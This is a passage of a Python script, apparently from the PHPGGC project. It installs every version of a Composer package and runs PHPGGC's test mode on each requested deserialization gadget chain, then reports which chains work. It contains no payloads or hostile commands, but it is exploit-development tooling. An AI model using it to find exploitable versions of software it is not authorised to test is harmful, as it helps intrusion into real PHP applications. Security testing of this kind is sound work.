85 | ||
86 | for gc in self._gcs: | |
87 | table.add_column(gc, justify='center') | |
88 | ||
89 | errored_payload_rows = ( | |
90 | (self.__status_str(False), ) + | |
91 | ('[yellow]-', ) * len(self._gcs) | |
92 | ) | |
93 | ||
94 | with Progress() as progress: | |
95 | ptask = progress.add_task('Testing chains', total=len(versions)) | |
96 | ||
97 | for version in versions: | |
98 | progress.update(ptask, advance=1, | |
99 | description=f'Testing ({version})') | |
100 | try: | |
101 | tests = self.test_chains_on_version(version) | |
102 | except ValueError: | |
103 | table.add_row(version, *errored_payload_rows) | |
104 | else: | |
105 | outputs = [self.__status_str(test) for test in tests] | |
106 | table.add_row(version, self.__status_str(True), *outputs) | |
107 | ||
108 | progress.update(ptask, visible=False) | |
109 | ||
110 | print(table) | |
111 | ||
112 | def __status_str(self, test): | |
113 | return test and '[green]OK' or '[red]KO' | |
114 | ||
115 | def test_chains_on_version(self, version): | |
116 | self._package.install_version(version) | |
117 | return [ | |
118 | self._executor.phpggc('--test-payload', gc) | |
119 | for gc in self._gcs | |
120 | ] | |
121 | ||
122 | def cleanup(self): | |
123 | """Cleans up anything we might have used and go back to the original | |
124 | directory. | |
125 | """ | |
126 | os.chdir(self._cwd) | |
127 | if self._package: | |
128 | self._package.cleanup() | |
129 | ||
130 | ||
131 | class TesterException(Exception): | |
132 | pass | |
133 | ||
134 | ||
135 | def setup_arguments(): | |
136 | parser = argparse.ArgumentParser(description= | |
137 | 'Test PHPGGC gadget chains against every version of a composer package.' | |
138 | ) | |
139 | parser.add_argument('package') | |
140 | parser.add_argument('gadget_chain', nargs='+') | |
141 | ||
142 | return parser.parse_args() | |
143 | ||
144 | ||
145 | class Executor: | |
146 | """Small wrapper to execute composer and phpggc. | |
147 | """ | |
148 | ||
149 | def __init__(self): | |
150 | self.get_commands() | |
151 | ||
152 | def _try_run_command(self, *cmd): | |
153 | """Tries to run a command to completion: if no exception happens and the | |
154 | return code is zero, returns True. Otherwise, False. | |
155 | """ | |
156 | try: | |
157 | process = self._run(*cmd) | |
158 | except (PermissionError, FileNotFoundError) as e: | |
159 | return False | |
160 | return process.returncode == 0 | |
161 | ||
162 | def _get_valid_run_command(self, php_file): | |
163 | """Tries to run a PHP file directly (e.g. `./file.php`). If it does not | |
164 | work, tries with `php file.php`. | |
165 | Returns the arguments required to launch the file, as tuple. | |
166 | If nothing works, an exception is raised. | |
167 | """ | |
168 | # We will change our current directory during the execution. | |
169 | # If we can find php_file in the current path, refer to it using an | |
170 | # absolute path. | |
171 | # Otherwise, just assume it's an alias or from $PATH. | |
172 | path = pathlib.Path(php_file) | |
173 | if path.exists(): | |
174 | php_file = str(path.absolute()) | |
175 | ||
176 | if self._try_run_command(php_file): | |
177 | return (php_file, ) | |
178 | elif path.exists() and self._try_run_command('php', php_file): | |
179 | return ('php', php_file) | |
180 | raise TesterException(f'Unable to run PHP file: {php_file}') | |
181 | ||
182 | def get_commands(self): | |
183 | """Gets the paths of the two required programs, phpggc and composer, and | |
184 | verifies if they need to be started with "php" as a prefix. | |
185 | """ | |
186 | work_dir = pathlib.Path(__file__).parent.resolve() | |
187 | phpggc = os.environ.get('PHPGGC_PATH', str(work_dir / 'phpggc')) | |
188 | composer = os.environ.get('COMPOSER_PATH', 'composer') | |
189 | ||
190 | if not pathlib.Path(phpggc).is_file(): | |
191 | raise TesterException('phpggc executable not found') | |
192 | ||
193 | self._phpggc = self._get_valid_run_command(phpggc) | |
194 | self._composer = self._get_valid_run_command(composer) | |
195 | ||
196 | def _run(self, *args): | |
197 | """Runs a program with given arguments. | |
198 | """ | |
199 | return subprocess.run( | |
200 | args, stdout=subprocess.PIPE, stderr=subprocess.PIPE | |
201 | ) | |
202 | ||
203 | def composer(self, *args): | |
204 | """Runs composer and returns stdout and stderr as a tuple. | |
205 | """ | |
206 | process = self._run(*self._composer, *args) | |
207 | return process.stdout.decode('utf-8'), process.stderr.decode('utf-8') | |
208 | ||
209 | def phpggc(self, *args): | |
210 | """Runs PHPGGC with given arguments and returns whether the execution | |
211 | was successful or not. | |
212 | """ | |
213 | return self._run(*self._phpggc, *args).returncode == 0 | |
214 | ||
215 | ||
216 | class Package: | |
217 | """Represents a composer package. | |
218 | """ | |
219 | def __init__(self, name, executor): | |
220 | self.name = name | |
221 | self._executor = executor | |
222 | self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix='phpggc')) | |
223 | ||
224 | def get_versions(self): | |
225 | """Uses composer to obtain each version (or tag) for the package. | |
226 | """ | |
227 | versions, _ = self._executor.composer('show', '-a', self.name) | |
228 | versions = re.search(r'versions :(.*)\ntype', versions).group(1) | |
229 | return [v.strip() for v in versions.split(',')] | |
230 | ||
231 | def clean_workdir(self, final=False): | |
232 | """Removes any composer related file in the working directory, such as | |
233 | composer.json and vendor/. | |
234 | """ | |
235 | (self.work_dir / 'composer.json').unlink(missing_ok=True) | |
236 | (self.work_dir / 'composer.lock').unlink(missing_ok=True) | |
237 | shutil.rmtree(self.work_dir / 'vendor', ignore_errors=True) | |
238 | if final: | |
239 | self.work_dir.rmdir() | |
240 | ||
241 | def install_version(self, version): | |
242 | """Uses composer to install a specific version of the package. | |
243 | """ | |
244 | self.clean_workdir() | |
245 | _, stderr = self._executor.composer( | |
246 | 'require', | |
247 | '-q', '--ignore-platform-reqs', f'{self.name}:{version}' | |
248 | ) | |
249 | if stderr: | |
250 | raise ValueError(f'Unable to install version: {version}') | |
251 | ||
252 | def cleanup(self): | |
253 | self.clean_workdir(final=True) | |
254 | ||
255 | ||
256 | if __name__ == '__main__': | |
257 | tester = Tester() | |
258 | ||
259 | try: | |
260 | tester.run() | |
261 | except TesterException as e: | |
262 | print(f'[red]Error: {e}[/red]') | |
263 | except KeyboardInterrupt: | |
264 | print(f'[red]Execution interrupted.') | |
265 | finally: | |
266 | tester.cleanup() |